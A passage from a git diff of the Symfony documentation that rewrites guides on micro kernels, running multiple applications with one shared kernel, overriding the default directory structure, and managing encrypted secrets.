return __DIR__.'/../var/log'; - } + // optionally, you can define the getCacheDir() and getLogDir() methods + // to override the default locations for these directories } + +.. versionadded:: 7.3 + + The ``wdt.php`` and ``profiler.php`` files were introduced in Symfony 7.3. + Previously, you had to import ``wdt.xml`` and ``profiler.xml`` + Before continuing, run this command to add support for the new dependencies: .. code-block:: terminal - $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations + $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle + +Next, create a new extension class that defines your app configuration and +add a service conditionally based on the ``foo`` value:: + + // src/DependencyInjection/AppExtension.php + namespace App\DependencyInjection; + + use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Extension\AbstractExtension; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + class AppExtension extends AbstractExtension + { + public function configure(DefinitionConfigurator $definition): void + { + $definition->rootNode() + ->children() + ->booleanNode('foo')->defaultTrue()->end() + ->end(); + } + + public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void + { + if ($config['foo']) { + $containerBuilder->register('foo_service', \stdClass::class); + } + } + } Unlike the previous kernel, this loads an external ``config/framework.yaml`` file, because the configuration started to get bigger: @@ -234,14 +380,17 @@ because the configuration started to get bigger: .. code-block:: php // config/framework.php - $container->loadFromExtension('framework', [ - 'secret' => 'S0ME_SECRET', - 'profiler' => [ - 'only_exceptions' => false, - ], - ]); - -This also loads annotation routes from an ``src/Controller/`` directory, which + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework + ->secret('SOME_SECRET') + ->profiler() + ->onlyExceptions(false) + ; + }; + +This also loads attribute routes from an ``src/Controller/`` directory, which has one file in it:: // src/Controller/MicroController.php @@ -249,13 +398,11 @@ has one file in it:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; class MicroController extends AbstractController { - /** - * @Route("/random/{limit}") - */ + #[Route('/random/{limit}')] public function randomNumber(int $limit): Response { $number = random_int(0, $limit); @@ -287,12 +434,9 @@ Finally, you need a front controller to boot and run the application. Create a // public/index.php use App\Kernel; - use Doctrine\Common\Annotations\AnnotationRegistry; use Symfony\Component\HttpFoundation\Request; - $loader = require __DIR__.'/../vendor/autoload.php'; - // auto-load annotations - AnnotationRegistry::registerLoader([$loader, 'loadClass']); + require __DIR__.'/../vendor/autoload.php'; $kernel = new Kernel('dev', true); $request = Request::createFromGlobals(); @@ -326,8 +470,7 @@ this: ├─ composer.json └─ composer.lock -As before you can use the :doc:`Symfony Local Web Server -</setup/symfony_server>`: +As before you can use the :ref:`Symfony local web server <symfony-cli-server>`: .. code-block:: terminal diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst index e6110bb69c2..ec8742213b5 100644 --- a/configuration/multiple_kernels.rst +++ b/configuration/multiple_kernels.rst @@ -1,224 +1,429 @@ -.. index:: - single: kernel, performance +How to Create Multiple Symfony Applications with a Single Kernel +================================================================ + +In Symfony applications, incoming requests are usually processed by the front +controller at ``public/index.php``, which instantiates the ``src/Kernel.php`` +class to create the application kernel. This kernel loads the bundles, the +configuration, and handles the request to generate the response. + +The current implementation of the Kernel class serves as a convenient default +for a single application. However, it can also manage multiple applications. +While the Kernel typically runs the same application with different +configurations based on various :ref:`environments <configuration-environments>`, +it can be adapted to run different applications with specific bundles and configuration. + +These are some of the common use cases for creating multiple applications with a +single Kernel: + +* An application that defines an API can be divided into two segments to improve + performance. The first segment serves the regular web application, while the + second segment exclusively responds to API requests. This approach requires + loading fewer bundles and enabling fewer features for the second part, thus + optimizing performance; +* A highly sensitive application could be divided into two parts for enhanced + security. The first part would only load routes corresponding to the publicly + exposed sections of the application. The second part would load the remainder + of the application, with its access safeguarded by the web server; +* A monolithic application could be gradually transformed into a more + distributed architecture, such as micro-services. This approach allows for a + seamless migration of a large application while still sharing common + configurations and components. + +Turning a Single Application into Multiple Applications +------------------------------------------------------- + +These are the steps required to convert a single application into a new one that +supports multiple applications: + +1. Create a new application; +2. Update the Kernel class to support multiple applications; +3. Add a new ``APP_ID`` environment variable; +4. Update the front controllers. + +The following example shows how to create a new application for the API of a new +Symfony project. + +Step 1) Create a new Application +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This example follows the `Shared Kernel`_ pattern: all applications maintain an +isolated context, but they can share common bundles, configuration, and code if +desired. The optimal approach will depend on your specific needs and +requirements, so it's up to you to decide which best suits your project. + +First, create a new ``apps`` directory at the root of your project, which will +hold all the necessary applications. Each application will follow a simplified +directory structure like the one described in :doc:`Symfony Best Practice </best_practices>`: -How To Create Symfony Applications with Multiple Kernels -======================================================== +.. code-block:: text -.. caution:: + your-project/ + ├─ apps/ + │ └─ api/ + │ ├─ config/ + │ │ ├─ bundles.php + │ │ ├─ routes.yaml + │ │ └─ services.yaml + │ └─ src/ + ├─ bin/ + │ └─ console + ├─ config/ + ├─ public/ + │ └─ index.php + ├─ src/ + │ └─ Kernel.php - Creating applications with multiple kernels is no longer recommended by - Symfony. Consider creating multiple small applications instead. +.. note:: -In most Symfony applications, incoming requests are processed by the -``public/index.php`` front controller, which instantiates the ``src/Kernel.php`` -class to create the application kernel that loads the bundles and handles the -request to generate the response. + Note that the ``config/`` and ``src/`` directories at the root of the + project will represent the shared context among all applications within the + ``apps/`` directory. Therefore, you should carefully consider what is + common and what should be placed in the specific application. -This single kernel approach is a convenient default, but Symfony applications -can define any number of kernels. Whereas -:ref:`environments <configuration-environments>` run the same application with -different configurations, kernels can run different parts of the same -application. +.. tip:: -These are some of the common use cases for creating multiple kernels: + You might also consider renaming the namespace for the shared context, from + ``App`` to ``Shared``, as it will make it easier to distinguish and provide + clearer meaning to this context. -* An application that defines an API could define two kernels for performance - reasons. The first kernel would serve the regular application and the second - one would only respond to the API requests, loading less bundles and enabling - less features; -* A highly sensitive application could define two kernels. The first one would - only load the routes that match the parts of the application exposed publicly. - The second kernel would load the rest of the application and its access would - be protected by the web server; -* A micro-services oriented application could define several kernels to - enable/disable services selectively turning a traditional monolith application - into several micro-applications. +Since the new ``apps/api/src/`` directory will host the PHP code related to the +API, you have to update the ``composer.json`` file to include it in the autoload +section: -Adding a new Kernel to the Application --------------------------------------- +.. code-block:: json -Creating a new kernel in a Symfony application is a three-step process: + { + "autoload": { + "psr-4": { + "Shared\\": "src/", + "Api\\": "apps/api/src/" + } + } + } -1. Create a new front controller to load the new kernel; -2. Create the new kernel class; -3. Define the configuration loaded by the new kernel. +Additionally, don't forget to run ``composer dump-autoload`` to generate the +autoload files. -The following example shows how to create a new kernel for the API of a given -Symfony application. +Step 2) Update the Kernel class to support Multiple Applications +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Step 1) Create a new Front Controller -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Since there will be multiple applications, it's better to add a new property +``string $id`` to the Kernel to identify the application being loaded. This +property will also allow you to split the cache, logs, and configuration files +in order to avoid collisions with other applications. Moreover, it contributes +to performance optimization, as each application will load only the required +resources:: -Instead of creating the new front controller from scratch, it's easier to -duplicate the existing one. For example, create ``public/api.php`` from -``public/index.php``. + // src/Kernel.php + namespace Shared; -Then, update the code of the new front controller to instantiate the new kernel -class instead of the usual ``Kernel`` class:: + use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - // public/api.php - // ... - $kernel = new ApiKernel( - $_SERVER['APP_ENV'] ?? 'dev', - $_SERVER['APP_DEBUG'] ?? ('prod' !== ($_SERVER['APP_ENV'] ?? 'dev')) - ); - // ... - -.. tip:: + class Kernel extends BaseKernel + { + use MicroKernelTrait; - Another approach is to keep the existing ``index.php`` front controller, but - add an ``if`` statement to load the different kernel based on the URL (e.g. - if the URL starts with ``/api``, use the ``ApiKernel``). + public function __construct(string $environment, bool $debug, private string $id) + { + parent::__construct($environment, $debug); + } -Step 2) Create the new Kernel Class -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + public function getSharedConfigDir(): string + { + return $this->getProjectDir().'/config'; + } -Now you need to define the ``ApiKernel`` class used by the new front controller. -The easiest way to do this is by duplicating the existing ``src/Kernel.php`` -file and make the needed changes. + public function getAppConfigDir(): string + { + return $this->getProjectDir().'/apps/'.$this->id.'/config'; + } -In this example, the ``ApiKernel`` will load less bundles than the default -Kernel. Be sure to also change the location of the cache, logs and configuration -files so they don't collide with the files from ``src/Kernel.php``:: + public function registerBundles(): iterable + { + $sharedBundles = require $this->getSharedConfigDir().'/bundles.php'; + $appBundles = require $this->getAppConfigDir().'/bundles.php'; + + // load common bundles, such as the FrameworkBundle, as well as + // specific bundles required exclusively for the app itself + foreach (array_merge($sharedBundles, $appBundles) as $class => $envs) { + if ($envs[$this->environment] ?? $envs['all'] ?? false) { + yield new $class(); + } + } + } - // src/ApiKernel.php - use Symfony\Component\Config\Loader\LoaderInterface; - use Symfony\Component\DependencyInjection\ContainerBuilder; - use Symfony\Component\HttpKernel\Kernel; + public function getCacheDir(): string + { + // divide cache for each application + return ($_SERVER['APP_CACHE_DIR'] ?? $this->getProjectDir().'/var/cache').'/'.$this->id.'/'.$this->environment; + } - class ApiKernel extends Kernel - { - // ... + public function getLogDir(): string + { + // divide logs for each application + return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id; + } - public function registerBundles() + protected function configureContainer(ContainerConfigurator $container): void { - // load only the bundles strictly needed for the API... + // load common config files, such as the framework.yaml, as well as + // specific configs required exclusively for the app itself + $this->doConfigureContainer($container, $this->getSharedConfigDir()); + $this->doConfigureContainer($container, $this->getAppConfigDir()); } - public function getCacheDir() + protected function configureRoutes(RoutingConfigurator $routes): void { - return dirname(__DIR__).'/var/cache/api/'.$this->getEnvironment(); + // load common routes files, such as the routes/framework.yaml, as well as + // specific routes required exclusively for the app itself + $this->doConfigureRoutes($routes, $this->getSharedConfigDir()); + $this->doConfigureRoutes($routes, $this->getAppConfigDir()); } - public function getLogDir() + private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void { - return dirname(__DIR__).'/var/log/api'; + $container->import($configDir.'/{packages}/*.{php,yaml}'); + $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}'); + + if (is_file($configDir.'/services.yaml')) { + $container->import($configDir.'/services.yaml'); + $container->import($configDir.'/{services}_'.$this->environment.'.yaml'); + } else { + $container->import($configDir.'/{services}.php'); + } } - public function configureContainer(ContainerBuilder $container, LoaderInterface $loader) + private function doConfigureRoutes(RoutingConfigurator $routes, string $configDir): void { - // load only the config files strictly needed for the API - $confDir = $this->getProjectDir().'/config'; - $loader->load($confDir.'/api/*'.self::CONFIG_EXTS, 'glob'); - if (is_dir($confDir.'/api/'.$this->environment)) { - $loader->load($confDir.'/api/'.$this->environment.'/**/*'.self::CONFIG_EXTS, 'glob'); + $routes->import($configDir.'/{routes}/'.$this->environment.'/*.{php,yaml}'); + $routes->import($configDir.'/{routes}/*.{php,yaml}'); + + if (is_file($configDir.'/routes.yaml')) { + $routes->import($configDir.'/routes.yaml'); + } else { + $routes->import($configDir.'/{routes}.php'); + } + + if (false !== ($fileName = (new \ReflectionObject($this))->getFileName())) { + $routes->import($fileName, 'attribute'); } } } -Step 3) Define the Kernel Configuration -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +This example reuses the default implementation to import the configuration and +routes based on a given configuration directory. As shown earlier, this +approach will import both the shared and the app-specific resources. -Finally, define the configuration files that the new ``ApiKernel`` will load. -According to the above code, this config will live in one or multiple files -stored in ``config/api/`` and ``config/api/ENVIRONMENT_NAME/`` directories. +Step 3) Add a new APP_ID environment variable +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The new configuration files can be created from scratch when you load only a few -bundles, because it will be small. Otherwise, duplicate the existing -config files in ``config/packages/`` or better, import them and override the -needed options. +Next, define a new environment variable that identifies the current application. +This new variable can be added to the ``.env`` file to provide a default value, +but it should typically be added to your web server configuration. -Executing Commands with a Different Kernel ------------------------------------------- +.. code-block:: bash -The ``bin/console`` script used to run Symfony commands always uses the default -``Kernel`` class to build the application and load the commands. If you need -to run console commands using the new kernel, duplicate the ``bin/console`` -script and rename it (e.g. ``bin/api``). + # .env + APP_ID=api -Then, replace the ``Kernel`` instance by your own kernel instance -(e.g. ``ApiKernel``). Now you can run commands using the new kernel -(e.g. ``php bin/api cache:clear``). +.. warning:: -.. note:: + The value of this variable must match the application directory within + ``apps/`` as it is used in the Kernel to load the specific application + configuration. + +Step 4) Update the Front Controllers +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In this final step, update the front controllers ``public/index.php`` and +``bin/console`` to pass the value of the ``APP_ID`` variable to the Kernel +instance. This will allow the Kernel to load and run the specified +application:: + + // public/index.php + use Shared\Kernel; + // ... + + return function (array $context): Kernel { + return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']); + }; - The commands available for each console script (e.g. ``bin/console`` and - ``bin/api``) can differ because they depend on the bundles enabled for each - kernel, which could be different. +Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the +third argument of the Kernel constructor is now also necessary to set the +application ID, which is derived from an external configuration. -Rendering Templates Defined in a Different Kernel -------------------------------------------------- +For the second front controller, define a new console option to allow passing +the application ID to run under CLI context:: -If you follow the Symfony Best Practices, the templates of the default kernel -will be stored in ``templates/``. Trying to render those templates in a -different kernel will result in a *There are no registered paths for namespace -"__main__"* error. + // bin/console + use Shared\Kernel; + use Symfony\Bundle\FrameworkBundle\Console\Application; + use Symfony\Component\Console\Input\InputInterface; + use Symfony\Component\Console\Input\InputOption; -In order to solve this issue, add the following configuration to your kernel: + return function (InputInterface $input, array $context): Application { + $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID'])); + + $application = new Application($kernel); + $application->getDefinition() + ->addOption(new InputOption('--id', '-i', InputOption::VALUE_REQUIRED, 'The App ID')) + ; + + return $application; + }; + +That's it! + +Executing Commands +------------------ + +The ``bin/console`` script, which is used to run Symfony commands, always uses +the ``Kernel`` class to build the application and load the commands. If you +need to run console commands for a specific application, you can provide the +``--id`` option along with the appropriate identity value: + +.. code-block:: terminal + + php bin/console cache:clear --id=api + // or + php bin/console cache:clear -iapi + + // alternatively + export APP_ID=api + php bin/console cache:clear + +You might want to update the composer auto-scripts section to run multiple +commands simultaneously. This example shows the commands of two different +applications called ``api`` and ``admin``: + +.. code-block:: json + + { + "scripts": { + "auto-scripts": { + "cache:clear -iapi": "symfony-cmd", + "cache:clear -iadmin": "symfony-cmd", + "assets:install %PUBLIC_DIR% -iapi": "symfony-cmd", + "assets:install %PUBLIC_DIR% -iadmin --no-cleanup": "symfony-cmd" + } + } + } + +Then, run ``composer auto-scripts`` to test it! + +.. note:: + + The commands available for each console script (e.g. ``bin/console -iapi`` + and ``bin/console -iadmin``) can differ because they depend on the bundles + enabled for each application, which could be different. + +Rendering Templates +------------------- + +Let's consider that you need to create another app called ``admin``. If you +follow the :doc:`Symfony Best Practices </best_practices>`, the shared Kernel +templates will be located in the ``templates/`` directory at the project's root. +For admin-specific templates, you can create a new directory +``apps/admin/templates/`` which you will need to manually configure under the +Admin application: .. code-block:: yaml - # config/api/twig.yaml + # apps/admin/config/packages/twig.yaml twig: paths: - # allows to use api/templates/ dir in the ApiKernel - "%kernel.project_dir%/api/templates": ~ + '%kernel.project_dir%/apps/admin/templates': Admin + +Then, use this Twig namespace to reference any template within the Admin +application only, for example ``@Admin/form/fields.html.twig``. -Running Tests Using a Different Kernel --------------------------------------- +Running Tests +------------- -In Symfony applications, functional tests extend by default from the -:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class. Inside that -class, a method called ``getKernelClass()`` tries to find the class of the kernel -to use to run the application during tests. The logic of this method does not -support multiple kernel applications, so your tests won't use the right kernel. +In Symfony applications, functional tests typically extend from +the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class by +default. Within its parent class, ``KernelTestCase``, there is a method called +``createKernel()`` that attempts to create the kernel responsible for running +the application during tests. However, the current logic of this method doesn't +include the new application ID argument, so you need to update it:: -The solution is to create a custom base class for functional tests extending -from ``WebTestCase`` class and overriding the ``getKernelClass()`` method to -return the fully qualified class name of the kernel to use:: + // apps/api/tests/ApiTestCase.php + namespace Api\Tests; + use Shared\Kernel; use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; + use Symfony\Component\HttpKernel\KernelInterface; - // tests needing the ApiKernel to work, now must extend this - // ApiTestCase class instead of the default WebTestCase class class ApiTestCase extends WebTestCase { - protected static function getKernelClass() + protected static function createKernel(array $options = []): KernelInterface { - return 'App\ApiKernel'; + $env = $options['environment'] ?? $_ENV['APP_ENV'] ?? $_SERVER['APP_ENV'] ?? 'test'; + $debug = $options['debug'] ?? (bool) ($_ENV['APP_DEBUG'] ?? $_SERVER['APP_DEBUG'] ?? true); + + return new Kernel($env, $debug, 'api'); } + } - // this is needed because the KernelTestCase class keeps a reference to - // the previously created kernel in its static $kernel property. Thus, - // if your functional tests do not run in isolated processes, a later run - // test for a different kernel will reuse the previously created instance, - // which points to a different kernel - protected function tearDown() - { - parent::tearDown(); +.. note:: + + This examples uses a hardcoded application ID value because the tests + extending this ``ApiTestCase`` class will focus solely on the ``api`` tests. + +Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then, +update both the ``composer.json`` file and ``phpunit.xml`` configuration about +its existence: - static::$class = null; +.. code-block:: json + + { + "autoload-dev": { + "psr-4": { + "Shared\\Tests\\": "tests/", + "Api\\Tests\\": "apps/api/tests/" + } } } -Adding more Kernels to the Application --------------------------------------- +Remember to run ``composer dump-autoload`` to generate the autoload files. + +And, here is the update needed for the ``phpunit.xml`` file: + +.. code-block:: xml -If your application is very complex and you create several kernels, it's better -to store them in their own directories instead of messing with lots of files in -the default ``src/`` directory: + <testsuites> + <testsuite name="shared"> + <directory>tests</directory> + </testsuite> + <testsuite name="api"> + <directory>apps/api/tests</directory> + </testsuite> + </testsuites> + +Adding more Applications +------------------------ + +Now you can begin adding more applications as needed, such as an ``admin`` +application to manage the project's configuration and permissions. To do that, +you will have to repeat the step 1 only: .. code-block:: text - project/ - ├─ src/ - │ ├─ ... - │ └─ Kernel.php - ├─ api/ - │ ├─ ... - │ └─ ApiKernel.php - ├─ ... - └─ public/ - ├─ ... - ├─ api.php - └─ index.php + your-project/ + ├─ apps/ + │ ├─ admin/ + │ │ ├─ config/ + │ │ │ ├─ bundles.php + │ │ │ ├─ routes.yaml + │ │ │ └─ services.yaml + │ │ └─ src/ + │ └─ api/ + │ └─ ... + +Additionally, you might need to update your web server configuration to set the +``APP_ID=admin`` under a different domain. + +.. _`Shared Kernel`: http://ddd.fed.wiki.org/view/shared-kernel diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst index d09916daae7..e5dff35b6d0 100644 --- a/configuration/override_dir_structure.rst +++ b/configuration/override_dir_structure.rst @@ -1,6 +1,3 @@ -.. index:: - single: Override Symfony - How to Override Symfony's default Directory Structure ===================================================== @@ -25,7 +22,57 @@ override it to create your own structure: │ ├─ cache/ │ ├─ log/ │ └─ ... - └─ vendor/ + ├─ vendor/ + └─ .env + +.. _override-env-dir: + +Override the Environment (DotEnv) Files Directory +------------------------------------------------- + +By default, the :ref:`.env configuration file <config-dot-env>` is located at +the root directory of the project. If you store it in a different location, +define the ``runtime.dotenv_path`` option in the ``composer.json`` file: + +.. code-block:: json + + { + "...": "...", + "extra": { + "...": "...", + "runtime": { + "dotenv_path": "my/custom/path/to/.env" + } + } + } + +Then, update your Composer files (running ``composer dump-autoload``, for instance), +so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new +``.env`` path. + +You can also set up different ``.env`` paths for your console and web server +calls. Edit the ``public/index.php`` and/or ``bin/console`` files to define the +new file path. + +Console script:: + + // bin/console + + // ... + $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'some/custom/path/to/.env'; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + // ... + +Web front-controller:: + + // public/index.php + + // ... + $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env'; + + require_once dirname(__DIR__).'/vendor/autoload_runtime.php'; + // ... .. _override-config-dir: @@ -51,7 +98,7 @@ Changing the cache directory can be achieved by overriding the { // ... - public function getCacheDir() + public function getCacheDir(): string { return dirname(__DIR__).'/var/'.$this->environment.'/cache'; } @@ -61,10 +108,10 @@ In this code, ``$this->environment`` is the current environment (i.e. ``dev``). In this case you have changed the location of the cache directory to ``var/{environment}/cache/``. -You can also change the cache directory defining an environment variable named -``APP_CACHE_DIR`` whose value is the full path of the cache folder. +You can also change the cache directory by defining an environment variable +named ``APP_CACHE_DIR`` whose value is the full path of the cache folder. -.. caution:: +.. warning:: You should keep the cache directory different for each environment, otherwise some unexpected behavior may happen. Each environment generates @@ -85,11 +132,11 @@ your application:: // src/Kernel.php // ... - class Kernel extends Kernel + class Kernel extends BaseKernel { // ... - public function getLogDir() + public function getLogDir(): string { return dirname(__DIR__).'/var/'.$this->environment.'/log'; } @@ -106,8 +153,9 @@ Override the Templates Directory -------------------------------- If your templates are not stored in the default ``templates/`` directory, use -the :ref:`twig.paths <config-twig-paths>` configuration option to define your -own templates directory (or directories): +the :ref:`twig.default_path <config-twig-default-path>` configuration +option to define your own templates directory (use :ref:`twig.paths <config-twig-paths>` +for multiple directories): .. configuration-block:: @@ -116,12 +164,12 @@ own templates directory (or directories): # config/packages/twig.yaml twig: # ... - paths: ["%kernel.project_dir%/resources/views"] + default_path: "%kernel.project_dir%/resources/views" .. code-block:: xml <!-- config/packages/twig.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:twig="http://symfony.com/schema/dic/twig" @@ -131,7 +179,7 @@ own templates directory (or directories): https://symfony.com/schema/dic/twig/twig-1.0.xsd"> <twig:config> - <twig:path>%kernel.project_dir%/resources/views</twig:path> + <twig:default-path>%kernel.project_dir%/resources/views</twig:default-path> </twig:config> </container> @@ -139,18 +187,18 @@ own templates directory (or directories): .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'paths' => [ - '%kernel.project_dir%/resources/views', - ], - ]); + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->defaultPath('%kernel.project_dir%/resources/views'); + }; Override the Translations Directory ----------------------------------- If your translation files are not stored in the default ``translations/`` -directory, use the :ref:`framework.translator.paths <reference-translator-paths>` -configuration option to define your own translations directory (or directories): +directory, use the :ref:`framework.translator.default_path <reference-translator-default_path>` +configuration option to define your own translations directory (use :ref:`framework.translator.paths <reference-translator-paths>` for multiple directories): .. configuration-block:: @@ -160,12 +208,12 @@ configuration option to define your own translations directory (or directories): framework: translator: # ... - paths: ["%kernel.project_dir%/i18n"] + default_path: "%kernel.project_dir%/i18n" .. code-block:: xml <!-- config/packages/translation.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:twig="http://symfony.com/schema/dic/twig" @@ -176,7 +224,7 @@ configuration option to define your own translations directory (or directories): <framework:config> <framework:translator> - <framework:path>%kernel.project_dir%/i18n</framework:path> + <framework:default-path>%kernel.project_dir%/i18n</framework:default-path> </framework:translator> </framework:config> @@ -185,13 +233,13 @@ configuration option to define your own translations directory (or directories): .. code-block:: php // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'translator' => [ - 'paths' => [ - '%kernel.project_dir%/i18n', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->translator() + ->defaultPath('%kernel.project_dir%/i18n') + ; + }; .. _override-web-dir: .. _override-the-web-directory: @@ -200,12 +248,12 @@ Override the Public Directory ----------------------------- If you need to rename or move your ``public/`` directory, the only thing you -need to guarantee is that the path to the ``var/`` directory is still correct in +need to guarantee is that the path to the ``vendor/`` directory is still correct in your ``index.php`` front controller. If you renamed the directory, you're fine. But if you moved it in some way, you may need to modify these paths inside those files:: - require_once __DIR__.'/../path/to/vendor/autoload.php'; + require_once __DIR__.'/../path/to/vendor/autoload_runtime.php'; You also need to change the ``extra.public-dir`` option in the ``composer.json`` file: @@ -241,7 +289,7 @@ option in your ``composer.json`` file like this: "config": { "bin-dir": "bin", "vendor-dir": "/some/dir/vendor" - }, + } } .. tip:: diff --git a/configuration/secrets.rst b/configuration/secrets.rst index 696ce519682..285b89d521e 100644 --- a/configuration/secrets.rst +++ b/configuration/secrets.rst @@ -1,6 +1,3 @@ -.. index:: - single: Secrets - How to Keep Sensitive Information Secret ======================================== @@ -14,10 +11,7 @@ store them by using Symfony's secrets management system - sometimes called a .. note:: - The Secrets system requires the sodium PHP extension that is bundled - with PHP 7.2. If you're using an earlier PHP version, you can - install the `libsodium`_ PHP extension or use the - `paragonie/sodium_compat`_ package. + The Secrets system requires the Sodium PHP extension. .. _secrets-generate-keys: @@ -48,12 +42,12 @@ running: .. code-block:: terminal - $ php bin/console secrets:generate-keys --env=prod + $ APP_RUNTIME_ENV=prod php bin/console secrets:generate-keys This will generate ``config/secrets/prod/prod.encrypt.public.php`` and ``config/secrets/prod/prod.decrypt.private.php``. -.. caution:: +.. danger:: The ``prod.decrypt.private.php`` file is highly sensitive. Your team of developers and even Continuous Integration services don't need that key. If the @@ -78,7 +72,7 @@ Suppose you want to store your database password as a secret. By using the $ php bin/console secrets:set DATABASE_PASSWORD # set your production value - $ php bin/console secrets:set DATABASE_PASSWORD --env=prod + $ APP_RUNTIME_ENV=prod php bin/console secrets:set DATABASE_PASSWORD This will create a new file for the secret in ``config/secrets/dev`` and another in ``config/secrets/prod``. You can also set the secret in a few other ways: @@ -94,6 +88,11 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways: # or let Symfony generate a random value for you $ php bin/console secrets:set REMEMBER_ME --random +.. note:: + + There's no command to rename secrets, so you'll need to create a new secret + and remove the old one. + Referencing Secrets in Configuration Files ------------------------------------------ @@ -138,11 +137,14 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by: .. code-block:: php // config/packages/doctrine.php - $container->loadFromExtension('doctrine', [ - 'dbal' => [ - 'password' => '%env(DATABASE_PASSWORD)%', - ] - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $doctrine->dbal() + ->connection('default') + ->password(env('DATABASE_PASSWORD')) + ; + }; The actual value will be resolved at runtime: container compilation and cache warmup don't need the **decryption key**. @@ -164,6 +166,22 @@ secrets' values by passing the ``--reveal`` option: DATABASE_PASSWORD "my secret" ------------------- ------------ ------------- +Reveal Existing Secrets +----------------------- + +If you have the **decryption key**, the ``secrets:reveal`` command allows +you to reveal a single secret's value. + +.. code-block:: terminal + + $ php bin/console secrets:reveal DATABASE_PASSWORD + + my secret + +.. versionadded:: 7.1 + + The ``secrets:reveal`` command was introduced in Symfony 7.1. + Remove Secrets -------------- @@ -208,9 +226,9 @@ Listing the secrets will now also display the local variable: DATABASE_PASSWORD "dev value" "root" ------------------- ------------- ------------- -Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts -all secrets and stores them in the local vault and ``secrets:encrypt-from-local`` -to encrypt all local secrets to the vault. +Symfony also provides the ``secrets:decrypt-to-local`` command which decrypts +all secrets and stores them in the local vault and the ``secrets:encrypt-from-local`` +command to encrypt all local secrets to the vault. Secrets in the test Environment ------------------------------- @@ -231,32 +249,32 @@ Deploy Secrets to Production Due to the fact that decryption keys should never be committed, you will need to manually store this file somewhere and deploy it. There are 2 ways to do that: -1) Uploading the file: +#. Uploading the file -The first option is to copy the **production decryption key** - -``config/secrets/prod/prod.decrypt.private.php`` to your server. + The first option is to copy the **production decryption key** - + ``config/secrets/prod/prod.decrypt.private.php`` to your server. -2) Using an Environment Variable +#. Using an Environment Variable -The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable -to the base64 encoded value of the **production decryption key**. A fancy way to -fetch the value of the key is: + The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable + to the base64 encoded value of the **production decryption key**. A fancy way to + fetch the value of the key is: -.. code-block:: terminal + .. code-block:: terminal - # this command only gets the value of the key; you must also set an env var - # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`) - $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");' + # this command only gets the value of the key; you must also set an env var + # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`) + $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");' -To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt -your secrets during deployment to the "local" vault: + To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt + your secrets during deployment to the "local" vault: -.. code-block:: terminal + .. code-block:: terminal - $ php bin/console secrets:decrypt-to-local --force --env=prod + $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force -This will write all the decrypted secrets into the ``.env.prod.local`` file. -After doing this, the 